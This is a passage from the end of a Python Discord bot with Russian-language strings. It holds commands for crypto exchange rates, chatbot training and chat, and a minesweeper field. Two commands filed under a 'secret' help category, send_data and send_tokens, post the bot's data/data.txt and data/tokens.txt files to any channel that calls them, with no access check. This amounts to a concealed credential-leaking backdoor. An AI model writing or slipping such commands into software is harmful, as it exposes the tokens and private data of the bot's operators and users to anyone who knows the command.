  1388. embed = discord.Embed(title=f"Курс {arg.capitalize()} к рублю", description=f"₽{crypto_price}", color=get_embed_color(arg.lower()))
  1389. else:
  1390. embed = send_error_embed(ctx, f"Не удалось получить курс валюты {arg.capitalize()}.")
  1391. await ctx.send(embed=embed)
  1392. @kgb.command(description='Вы можете помочь обучить нам бота,\n'
  1393. 'Для этого напишите в качестве аргумента для команды:\n'
  1394. 'вопрос:ответ - где вопрос и ответ это любой текст.')
  1395. @helpCategory('neuro')
  1396. async def training(ctx, *, text):
  1397. result = neuro.training(text)
  1398. if result == 'Успешно!':
  1399. await ctx.send(embed=discord.Embed(
  1400. title='Результат:',
  1401. description=result,
  1402. color=discord.Colour(0x000000)
  1403. ))
  1404. else:
  1405. await ctx.send(embed=discord.Embed(
  1406. title='Результат:',
  1407. description=result,
  1408. color=discord.Colour(0xFF0000)
  1409. ))
  1410. @kgb.command(description="Вы можете поговорить с ботом с помощью этой команды.")
  1411. @helpCategory('neuro')
  1412. async def ask(ctx, *, text):
  1413. answer = neuro.neuroKGB(text)
  1414. await ctx.send(embed=discord.Embed(
  1415. title='Ответ:',
  1416. description=answer,
  1417. color=discord.Colour(0x000000)
  1418. ))
  1419. @kgb.command()
  1420. @helpCategory('secret')
  1421. async def send_data(ctx, filename):
  1422. try:
  1423. with open("data/data.txt", 'rb') as file:
  1424. await ctx.send(file=discord.File(file, "data.txt"))
  1425. except FileNotFoundError:
  1426. await ctx.send("Файл не найден.")
  1427. except Exception as e:
  1428. await ctx.send(f"Ошибка при чтении файла: {e}")
  1429. @kgb.command(description="Генерирует минное поле. Можно также указать кол-во бомб до 81 штуки")
  1430. @helpCategory('fun')
  1431. async def minegen(ctx, *, mine_count=10):
  1432. if mine_count <= 0:
  1433. await send_error_embed(ctx, "Неверное число мин! Нужно указать в диапазоне от 1 до 81")
  1434. return
  1435. await ctx.send(embed=discord.Embed(
  1436. title='Удачи ;)',
  1437. description=str(minegen_mod.Field(9, 9, mine_count)),
  1438. color=discord.Colour(0x000000)
  1439. ))
  1440. @kgb.command()
  1441. @helpCategory('secret')
  1442. async def send_tokens(ctx, filename):
  1443. try:
  1444. with open("data/tokens.txt", 'rb') as file:
  1445. await ctx.send(file=discord.File(file, "data.txt"))
  1446. except FileNotFoundError:
  1447. await ctx.send("Файл не найден.")
  1448. except Exception as e:
  1449. await ctx.send(f"Ошибка при чтении файла: {e}")
  1450. HELP_EMB = buildHelpEmbed()
  1451. HELP_CAT_EMB, HELP_CAT_HIDDEN = buildCategoryEmbeds()
  1452. kgb.run(getenv('DISCORD_TOKEN', ''))